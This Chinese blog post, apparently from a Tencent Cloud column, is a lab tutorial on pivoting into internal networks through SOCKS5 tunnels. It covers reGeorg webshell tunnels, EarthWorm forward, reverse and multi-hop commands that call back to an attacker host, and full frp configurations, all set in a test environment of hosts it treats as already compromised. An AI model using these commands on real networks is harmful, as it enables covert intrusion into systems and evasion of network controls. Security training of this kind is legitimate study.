前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透之隐藏通信隧道 -- sock5

内网渗透之隐藏通信隧道 -- sock5

原创
作者头像
Gh0st1nTheShel
修改2022-01-23 14:33:26
4.9K0
修改2022-01-23 14:33:26
举报
文章被收录于专栏:网络空间安全网络空间安全

欢迎关注我的微信公众号《壳中之魂》,查看更多网安文章

SOCKS是一种代理服务,可以简单地将一端的系统连接另一 端。 SOCKS支持多种协议,包括HTTP、FTP等。SOCKS分为SOCKS 4和SOCKS 5两种类型: SOCKS 4只支持TCP协议;SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080.SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。

SOCKS代理其实可理解为增强版的lcx。它在服务端监听一个服务 端口,当有新的连接请求出现时,会先从SOCKS协议中解析出目标的URL的目标端口,再执行lcx的具体功能。SOCKS代理工具有很多,在使用时要尽可能选择没有GUI界面的。此外,要尽量选择不需要安装其他依赖软件的SOCKS代理工具,能够支持多平台的工具更佳。

Proxifier

Proxifier 也是一款非常好用的全局代理软件

下载地址:https://www.proxifier.com/

Proxifer提供了跨平台的端口转发和代理功能,适用于Windows、Linux、MacOS平台SocksCap64可以使Windows应用程序通过sOCKS代理服务器来访问网络,而不需要对这些应用程序进行任何修改。即使是那些本身不支持SOCKS代理的应用程序,也可以通过SocksCap64实现代理

ProxyChains

ProxyChains是款可以在Linux下实现全局代理的软件,性能稳定、可靠,可以使任何程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCKS 5类型的代理服务器

下载地址:http://proxychains.sourceforge.net/

reGeorg

下载地址:sensepost/reGeorg: The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. (github.com)

reGcorg是reDuh的升级版,主要功能是把内网服务器的端口通过HTTP/HTTPS隧道转发到本机,形成一个回路。

reGorg可以使目标服务器在内网中(或者在设置了端口策略的情况下)连接内部开放端口。reGcorg利用WebShell建立一个SOCKS代理进行内网穿透,服务器必须支持ASPX、PHP、JSP中的一种。

reGeorg分为reGeorgSocksProxy.py本体和隧道tunnel.php,其中本体用在攻击机,而隧道用在目标机器

攻击测试

环境:

攻击机:

kali(ip:192.168.200.4)

win7(ip:192.168.200.17)

边缘设备:

win7(ip1:192.168.200.33,ip2:10.10.10.17)

内网主机:

windows server 2016(DC)(ip:10.10.10.10)

在边缘设备用phpstudy架设了服务器,并且已经将tunnel.php上传到网站根目录,此时,使用kali访问tunnel.php,查看是否可行

注意:tunnel.php似乎只支持低版本php,高版本似乎无法运行

php版本:7.3.4

php版本:5.2.17

当出现Georg says, 'All seems fine'说明成功配置

在kali配置本体reGeorgSocksProxy.py(似乎需要urllib3,可能是我已经装了,并没有报错)

代码语言:javascript
复制
python reGeorgSocksProxy.py -l 0.0.0.0 -p 1111 -u http://192.168.200.33/tunnel.php
  • -l:需要监听的ip
  • -p:需要监听的端口
  • -u:包含着tunnel脚本的网址

出现红框内的Georg says, 'All seems fine'说明配置成功

如果允许脚本时出现权限不够则要在属性内配置可执行权限(chmod +x也行)

然后再win7攻击机尝试连接代理,我使用的是Proxifier,它在测试连接可用性的时候会访问百度,我们再kali可以查看到访问页面的结果

也可以直接在kali上使用proxychains远程连接win7的桌面

代码语言:javascript
复制
proxychains rdesktop -g 1440x900 10.10.10.17:3389 //-g后面代表要使用的分辨率

但是我这里两种方法连接远程桌面都失败了,但是代理中一直有流量流过,所以理论上是可行的

EarthWorm(资源已经很难找到,开发者停止更新并且关闭下载)

EarthWom(EW)是套便携式的网络工具, 具有SOCKS 5服务架设和端口转发两大核心功能,可以在复杂的网络环境中实现网络穿透

下载地址:https://github.com/rootkiter/EarthWorm

EW能够以正向、反向、多级级联等方式建立网络隧道。EW工具包提供了多个可执行文件,以适用不同的操作系统(Linux、Windows、 Mac OS、ARM-Linux 均包含在内)。

EW的新版本Termite

下载地址:https://github.com/rootkiter/Termite

命令

EW的使用也非常简单,共有六种命令格式,分别是ssocksd、rcsocks、rssocks、Icx_slave、lcx_listen、lcx_tran。其中,用于普通网络环境的正向连接命令是ssocksd,用于反弹连接的命令是rcsocks、rssocks,其他命令用于复杂网络环境的多级级联。

代码语言:javascript
复制
-l 本地要监听的端口
-f 要主动连接的ip
-g 要主动连接的端口
-d 要反弹到的ip
-e 要反弹到的端口
-s 工作模式
​
工作模式支持如下:
lcx_tran 正向tcp端口转发,监听在本地
lcx_slave 反向tcp转发客户端
lcx_listen 反向tcp服务端
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
rssocks 创建反向socks代理服务端?
rcsocks 反向socks代理客户端?

环境

攻击机:

kali(ip:192.168.200.4)

win7(ip:192.168.200.17)

边缘主机:

windows server 2008(外网ip:192.168.200.32,内网ip:10.10.10.18)

内网主机:

windows server 2012(内网ip1:10.10.10.12,内网ip2:10.10.20.12)

windows 7(内网ip1:10.10.20.17,内网ip2:10.10.30.17)

windows 10(内网ip:10.10.30.110)

假设所有主机都已经拿到控制权

正向连接

在目标机器假设一个socks5通道

代码语言:javascript
复制
ew_for_Win.exe -s ssocksd -l 6666

在攻击机上测试代理

成功

成功远程连接到2008的内网ip

反向连接

在攻击机kali设置监听,将6000端口收到的代理请求转发到7000

代码语言:javascript
复制
./ew_for_linux64 -s rcsocks -l 6000 -e 7000

然后让目标机器连接到kali

代码语言:javascript
复制
ew_for_Win.exe -s rssocks -d 192.168.200.4 -e 7000

使用攻击机win7进行测试

尝试远程连接2008的内网ip

成功

多级网络

1、从外网访问一级内网

首先在kali假设服务端

代码语言:javascript
复制
./ew_for_linux64 -s rcsocks -l 1111 -e 2222

由于这台机器只是做转发而不是目标,所以既要让处于一级内网的2008连接kali,也要让2008连接到下一台机器

代码语言:javascript
复制
ew_for_Win.exe -s lcx_slave -d 192.168.200.4 -e 2222 -f 10.10.10.12 -g 3333

2、从一级内网访问二级内网

让处于二级内网的2012访问2008,由于刚才2008的命令已经包含了连接到2012的功能,所以2012只需要做端口转发即可

代码语言:javascript
复制
ew_for_Win.exe -s lcx_listen -l 3333 -e 4444

3、从二级内网访问三级内网

当2012做端口转发后,就可以使用windows 7连接2012了

代码语言:javascript
复制
ew_for_Win.exe -s rssocks -d 10.10.20.12 -e 4444

然后在攻击机win7上测试是否能远程连接到三级内网

连接10.10.30.110成功

SocksCap64使用方法之使用SocksCap64代理Steam、LOL等游戏的教程_网络通讯_软件教程_脚本之家 (jb51.net)

Ubuntu系统中使用ProxyChains设置网络代理 - 简书 (jianshu.com)(要将proxychains.conf中的dynamic_chain前面的#去掉

FRP

frp 是⼀个开源、简洁易⽤、⾼性能的内⽹穿透和反向代理软件,⽀持 tcp, udp, http, https等协议。

frp 项⽬官⽹: https://github.com/fatedier/frp

frp ⽂档: https://gofrp.org/docs/

frp主要由客户端(frpc)和服务端(frps)组成,服务端通常部署在具有公网IP的机器上,客户端通常部署在需要穿透的内网服务所在机器上。内网服务由于没有公网IP,不能被非局域网内的其他用户访问。用户通过访问服务端的frps,由frp负责根据请求的端口或其他信息将请求路由到对应的内网机器,从而实现通信。

frps配置

Frp完整的服务器端配置⽂件(可参考修改)

代码语言:javascript
复制
# [common] 是必需的
[common]
# ipv6的⽂本地址或主机名必须括在⽅括号中
# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"
bind_addr = 0.0.0.0
bind_port = 7000

# udp nat 穿透端⼝
bind_udp_port = 7001

# ⽤于 kcp 协议 的 udp 端⼝,可以与 "bind_port" 相同
# 如果此项不配置, 服务端的 kcp 将不会启⽤
kcp_bind_port = 7000

# 指定代理将侦听哪个地址,默认值与 bind_addr 相同
# proxy_bind_addr = 127.0.0.1

# 如果要⽀持虚拟主机,必须设置⽤于侦听的 http 端⼝(⾮必需项)
# 提示: http端⼝和https端⼝可以与 bind_port 相同
vhost_http_port = 80
vhost_https_port = 443

# 虚拟 http 服务器的响应头超时时间(秒),默认值为60s
# vhost_http_timeout = 60
# 设置 dashboard_addr 和 dashboard_port ⽤于查看 frps 仪表盘
# dashboard_addr 默认值与 bind_addr 相同
# 只有 dashboard_port 被设定,仪表盘才能⽣效
dashboard_addr = 0.0.0.0
dashboard_port = 7500

# 设置仪表盘⽤户密码,⽤于基础认证保护,默认为 admin/admin
dashboard_user = admin
dashboard_pwd = admin

# 仪表板资产⽬录(仅⽤于 debug 模式下)
# assets_dir = ./static
# 控制台或真实⽇志⽂件路径,如./frps.log
log_file = ./frps.log

# ⽇志级别,分为trace(跟踪)、 debug(调试)、 info(信息)、 warn(警告)、 error(错误)
log_level = info

# 最⼤⽇志记录天数
log_max_days = 3

# 认证 token
token = 12345678

# ⼼跳配置, 不建议对默认值进⾏修改
# heartbeat_timeout 默认值为 90
# heartbeat_timeout = 90
    
# 允许 frpc(客户端) 绑定的端⼝,不设置的情况下没有限制
allow_ports = 2000-3000,3001,3003,4000-50000

# 如果超过最⼤值,每个代理中的 pool_count 将更改为 max_pool_count
max_pool_count = 5

# 每个客户端可以使⽤最⼤端⼝数,默认值为0,表示没有限制
max_ports_per_client = 0

# 如果 subdomain_host 不为空, 可以在客户端配置⽂件中设置 ⼦域名类型为 http 还是 https
# 当⼦域名为 test 时, ⽤于路由的主机为 test.frps.com
subdomain_host = frps.com

# 是否使⽤ tcp 流多路复⽤,默认值为 true
tcp_mux = true

# 对 http 请求设置⾃定义 404 ⻚⾯
# custom_404_page = /path/to/404.html

frpc配置

代码语言:javascript
复制
server_addr = 102.224.185.237   #代理服务器的IP
server_port = 7000              #服务端服务器设置frps.ini中的端口
token = asd                     #服务端服务器设置frps.ini中的密码
[web]                           #服务器名(可以填写ssh、ftp等)
type = tcp                      #连接协议类型
local_ip = 127.0.0.1            #访问的ip可以是内网任何一个ip!
local_port = 80                 #本地端口(根据协议修改)
remote_port = 6001              #远程服务器的ip端口

Frp 完整的客户端配置⽂件(可参考修改)

代码语言:javascript
复制
# [common] 是必需的
[common]
# ipv6的⽂本地址或主机名必须括在⽅括号中
# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"
server_addr = 0.0.0.0
server_port = 7000

# 如果要通过 http 代理或 socks5 代理连接 frps,可以在此处或全局代理中设置 http_proxy
# 只⽀持 tcp协议
# http_proxy = http://user:passwd@192.168.1.128:8080
# http_proxy = socks5://user:passwd@192.168.1.128:1080

# 控制台或真实⽇志⽂件路径,如./frps.log
log_file = ./frpc.log

# ⽇志级别,分为trace(跟踪)、 debug(调试)、 info(信息)、 warn(警告)、 error(错误)
log_level = info

# 最⼤⽇志记录天数
log_max_days = 3

# 认证 token
token = 12345678

# 设置能够通过 http api 控制客户端操作的管理地址
admin_addr = 127.0.0.1
admin_port = 7400
admin_user = admin
admin_pwd = admin

# 将提前建⽴连接,默认值为 0
pool_count = 5

# 是否使⽤ tcp 流多路复⽤,默认值为 true,必需与服务端相同
tcp_mux = true

# 在此处设置⽤户名后,代理名称将设置为 {⽤户名}.{代理名}
user = your_name

# 决定第⼀次登录失败时是否退出程序,否则继续重新登录到 frps
# 默认为 true
login_fail_exit = true

# ⽤于连接到服务器的通信协议
# ⽬前⽀持 tcp/kcp/websocket, 默认 tcp
protocol = tcp

# 如果 tls_enable 为 true, frpc 将会通过 tls 连接 frps
tls_enable = true

# 指定 DNS 服务器
# dns_server = 8.8.8.8

# 代理名, 使⽤ ',' 分隔
# 默认为空, 表示全部代理
# start = ssh,dns

# ⼼跳配置, 不建议对默认值进⾏修改
# heartbeat_interval 默认为 10 heartbeat_timeout 默认为 90
# heartbeat_interval = 30
# heartbeat_timeout = 90

# 'ssh' 是⼀个特殊代理名称
[ssh]
# 协议 tcp | udp | http | https | stcp | xtcp, 默认 tcp
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 是否加密, 默认为 false
use_encryption = false
# 是否压缩
use_compression = false
# 服务端端⼝
remote_port = 6001
# frps 将为同⼀组中的代理进⾏负载平衡连接
group = test_group
# 组应该有相同的组密钥
group_key = 123456
# 为后端服务开启健康检查, ⽬前⽀持 'tcp' 和 'http'
# frpc 将连接本地服务的端⼝以检测其健康状态
health_check_type = tcp
# 健康检查连接超时
health_check_timeout_s = 3
# 连续 3 次失败, 代理将会从服务端中被移除
health_check_max_failed = 3
# 健康检查时间间隔
health_check_interval_s = 10

[ssh_random]
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 如果 remote_port 为 0 ,frps 将为您分配⼀个随机端⼝
remote_port = 0

# 如果要暴露多个端⼝, 在区块名称前添加 'range:' 前缀
# frpc 将会⽣成多个代理,如 'tcp_port_6010', 'tcp_port_6011'
[range:tcp_port]
type = tcp
local_ip = 127.0.0.1
local_port = 6010-6020,6022,6024-6028
remote_port = 6010-6020,6022,6024-6028
use_encryption = false
use_compression = false

[dns]
type = udp
local_ip = 114.114.114.114
local_port = 53
remote_port = 6002
use_encryption = false
use_compression = false

[range:udp_port]
type = udp
local_ip = 127.0.0.1
local_port = 6010-6020
remote_port = 6010-6020
use_encryption = false
use_compression = false

# 将域名解析到 [server_addr] 可以使⽤ http://web01.yourdomain.com 访问 web01
[web01]
type = http
local_ip = 127.0.0.1
local_port = 80
use_encryption = false
use_compression = true
# http 协议认证
http_user = admin
http_pwd = admin
# 如果服务端域名为 frps.com, 可以通过 http://test.frps.com 来访问 [web01]
subdomain = web01
custom_domains = web02.yourdomain.com
# locations 仅可⽤于HTTP类型
locations = /,/pic
host_header_rewrite = example.com
# params with prefix "header_" will be used to update http request headers
header_X-From-Where = frp
health_check_type = http
# frpc 将会发送⼀个 GET http 请求 '/status' 来定位http服务
# http 服务返回 2xx 状态码时即为存活
health_check_url = /status
health_check_interval_s = 10
health_check_max_failed = 3
health_check_timeout_s = 3

[web02]
type = https
local_ip = 127.0.0.1
local_port = 8000
use_encryption = false
use_compression = false
subdomain = web01
custom_domains = web02.yourdomain.com
# v1 或 v2 或 空
proxy_protocol_version = v2

[plugin_unix_domain_socket]
type = tcp
remote_port = 6003
plugin = unix_domain_socket
plugin_unix_path = /var/run/docker.sock

[plugin_http_proxy]
type = tcp
remote_port = 6004
plugin = http_proxy
plugin_http_user = abc
plugin_http_passwd = abc

[plugin_socks5]
type = tcp
remote_port = 6005
plugin = socks5
plugin_user = abc
plugin_passwd = abc

[plugin_static_file]
type = tcp
remote_port = 6006
plugin = static_file
plugin_local_path = /var/www/blog
plugin_strip_prefix = static
plugin_http_user = abc
plugin_http_passwd = abc

[plugin_https2http]
type = https
custom_domains = test.yourdomain.com
plugin = https2http
plugin_local_addr = 127.0.0.1:80
plugin_crt_path = ./server.crt
plugin_key_path = ./server.key
plugin_host_header_rewrite = 127.0.0.1

[secret_tcp]
# 如果类型为 secret tcp, remote_port 将失效
type = stcp
# sk ⽤来进⾏访客认证
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22
use_encryption = false
use_compression = false

# 访客端及服务端的⽤户名应该相同
[secret_tcp_visitor]
# frpc role visitor -> frps -> frpc role server
role = visitor
type = stcp
# 要访问的服务器名称
server_name = secret_tcp
sk = abcdefg
# 将此地址连接到访客 stcp 服务器
bind_addr = 127.0.0.1
bind_port = 9000
use_encryption = false
use_compression = false

[p2p_tcp]
type = xtcp
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22
use_encryption = false
use_compression = false

[p2p_tcp_visitor]
role = visitor
type = xtcp
server_name = p2p_tcp
sk = abcdefg
bind_addr = 127.0.0.1
bind_port = 9001
use_encryption = false
use_compression = false

Frp反向连接内网

使用frp要编辑配置文件,以内网主机为服务端,kali为客户端,反向链接

首先按先配置服务端

代码语言:javascript
复制
[common]
bind_port = 7000

配置完成后启动

代码语言:javascript
复制
./frps -c frps.ini

同理,要配置在kali上的客户端

代码语言:javascript
复制
[common]
server_addr = 192.168.137.174      //frps的ip
server_port = 7000                 //对应的端口

[plugin_socks5]                   //这个是额外加的,用于创建一个socks5的通道,可以给其他主机连接
type = tcp
remote_port = 6000
plugin = socks5

如果攻击机填写了token,那么在客户端也要填写token

代码语言:javascript
复制
frpc.exe -c frpc.ini

显示如下内容则说明建立成功

如果连接失败则显示如下内容

再回头看服务端

可以看到同时开了一个Sock5通道,使用其他攻击机进行连接

我使用Proxifier来进行连接,Proxifier资源在网上很好找,我就不放下载链接了

然后点击检查,查看是否连接成功

不过这种检查是通过和和百度测试连通性,在内网内不一定可以成功,这时就要针对性的调整设置

多级网络代理

攻击机:

kali(ip:192.168.200.4)

win7(ip:192.168.200.17)

边缘主机:

windows server 2008(外网ip:192.168.200.32,内网ip:10.10.10.18)

内网主机:

windows server 2012(内网ip1:10.10.10.12,内网ip2:10.10.20.12)

windows 7(内网ip1:10.10.20.17,内网ip2:10.10.30.17)

windows 10(内网ip:10.10.30.110)

假设所有主机都已经拿到控制权

1、代理边缘主机到一级内网

首先在kali攻击机架设frps

代码语言:javascript
复制
bind_addr = 192.168.200.4
bind_port = 7000

然后让边缘主机2008连接

frpc

代码语言:javascript
复制
[common]
server_addr = 192.168.200.4
server_port = 7000

[plugin_socks]
type = tcp
local_ip = 10.10.10.18
local_port = 6000
remote_port = 6000

frps

2、代理一级到二级内网

当2008连接到kali后,自己也架设一个服务端

frps

代码语言:javascript
复制
[common]
bind_addr = 10.10.10.18
bind_port = 7000

然后让2012连接2008

frpc

代码语言:javascript
复制
[common]
server_addr = 10.10.10.18
server_port = 7000

[plugin_socks]
type = tcp
local_ip = 10.10.20.12
local_port = 6000
remote_port = 6000

frps

3、代理二级到三级内网

当2012连接2008后,2012也假设一个服务端

代码语言:javascript
复制
[common]
bind_addr = 10.10.20.12
bind_port = 7000

让windows 7连接

frpc

代码语言:javascript
复制
[common]
server_addr = 10.10.20.12
server_port = 7000

[plugin_socks]
type = tcp
local_ip = 10.10.30.17
local_port = 6000
remote_port = 6000
plugin = socks5

注意这里windows 7的frpc配置和其他不一样的点,这里多了一条

代码语言:javascript
复制
plugin = socks5

这一条很关键,后面我会说为什么

frps

最后测试是否到达了三级内网,使用win7攻击机的Proxifier测试远程连接

首先测试位于三级内网的win10

测试成功

测试同样位于三层内网的windows 7(10.10.30.17)同样成功

测试位于二层内网的windows 7(10.10.20.17、window server 2012(10.10.20.12)

同样成功

问题来了,测试10.10.10.x是失败的,经过我的多次实验,发现问题出在我上文所说的

代码语言:javascript
复制
plugin = socks5

我们在windows 7的frpc配置文件使用了这个属性,而他的ip为10.10.20.x和10.10.30.x,所以这个代理是无法直接远程连接到10.10.10.x的,如过在2008或者是2012使用了这个属性,就会导致无法连接10.10.30.x

说人话就为plugin = socks5这个属性只能同时存在一个,如果存在多个就以最先代理的为准

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • reGeorg
    • 攻击测试
    • EarthWorm(资源已经很难找到,开发者停止更新并且关闭下载)
      • 命令
        • 环境
          • 正向连接
            • 反向连接
              • 多级网络
              • FRP
                • frps配置
                  • frpc配置
                    • Frp反向连接内网
                      • 多级网络代理
                      相关产品与服务
                      网站渗透测试
                      网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档